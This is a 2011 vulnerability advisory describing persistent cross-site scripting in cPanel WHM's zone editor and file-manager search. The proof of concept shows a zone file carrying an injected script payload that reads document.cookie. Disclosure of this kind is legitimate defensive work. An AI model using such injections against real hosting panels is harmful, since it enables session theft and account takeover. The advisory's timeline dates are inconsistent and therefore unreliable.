cPanel WHM v11.24.7.x - Multiple Cross Site Vulnerabilities

Document Title:
===============
cPanel WHM v11.24.7.x - Multiple Cross Site Vulnerabilities



Release Date:
=============
2011-06-07


Vulnerability Laboratory ID (VL-ID):
====================================
48


Product & Service Introduction:
===============================
cPanel provides an intuitive interface to help website owners manage their sites, while WebHost Manager (WHM) 
automates server management tasks for server administrators. Together, they reduce overhead by simplifying 
complex tasks and allowing customers to manage their own accounts. Professionals and novices alike love the 
power cPanel and WHM offers, including the ability to activate new web technologies with the click of a mouse. 
This allows your company to meet the needs of todays hosting customers with minimal effort.

ZoneEditor is to edit the DNS settings of a with cpanel hosted server.

(Copy of the Vendor Homepage http://cpanel.net)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a Cross-Site-Scripting Vulnerability on cPanel WebHost Manager.
A remote attacker is able to get the session of a victim & through it access to the panel. 
An attacker can also include csrf attacks to manipulate via user interaction the panel settings.


Vulnerability Disclosure Timeline:
==================================
2009-09-07:	Vendor Notification
2009-11-22:	Vendor Response/Feedback
2009-01-03:	Vendor Fix/Patch
2010-04-03:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting vulnerability is detected on cPanels WebHost Manager.
The validation bug is located in the zoneeditor.cgi file & allows an attacker to implement malicious persistent script code.

Vulnerable Module(s):
                                                          [+] Zoneeditor - Zones
                                                          [+] Search - ?regex=

Pictures:
                                ../cpanel1.png
                                ../cpanel2.png
                                ../cpanel3.png




Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers & local privileged user accounts.
For demonstration or reproduce ...

1.1

</style>
There were errors in the new zone which have been highlighted below.  Please press the back button an try again!
<br />
<div class=\"zonefile\"><pre>
; cPanel first:11.23.3-BETA_25900 latest:11.24.7-BETA_36825 Cpanel::ZoneFile::VERSION:1.3 mtime:1252786455 hostname:demo.cpanel.net
; Zone file for 60.33.22.33
$TTL 14400
>\"<script>alert(document.cookie)</script><div style=\"1	86400	IN	SOA	
ns1.hosting-sherbime.co.	ns2.hosting-sherbime.co.	
(	2008071728	86400	7200	36000000	86400	) <span class=\"zoneerr\">syntax error</span>
60.33.22.33.	86400	IN	NS	ns1.hosting-sherbime.com.60.33.22.33.
60.33.22.33.	86400	IN	NS	ns2.hosting-sherbime.com.60.33.22.33.
60.33.22.33.	14400	IN	A	198.66.92.13
localhost	14400	IN	A	127.0.0.1
60.33.22.33	14400	IN	MX	0	60.33.22.33.
mail	14400	IN	CNAME	60.33.22.33.
www	14400	IN	CNAME	bigmouthmedia.com.au.
ftp	14400	IN	CNAME	60.33.22.33.
60.33.22.33.	14400	IN	PTR	test.abc.com.60.33.22.33.
60.33.22.33.	14400	IN	PTR	test.and.com.60.33.22.33.
60.33.22.33.	14400	IN	PTR	hostname.60.33.22.33.
.	14400	IN	PTR	hostname.60.33.22.33. <span class=\"zoneerr\">ignoring out-of-zone data (.)</span>
43raaert	14400	IN	MX	0	61.35.218.15.
feed	14400	IN	CNAME	teste.60.33.22.33.
79.113.100.100	14400	IN	PTR	ronet.rdsnet.ro.60.33.22.33.
*	14400	IN	A	127.0.0.1
</pre></div>


1.2
Path: 	../filemanager/
File: 	searchfiles.xml
Para: 	?regex=



Security Risk:
==============
The security risk of the both persistent cross site scripting vulnerabilities are estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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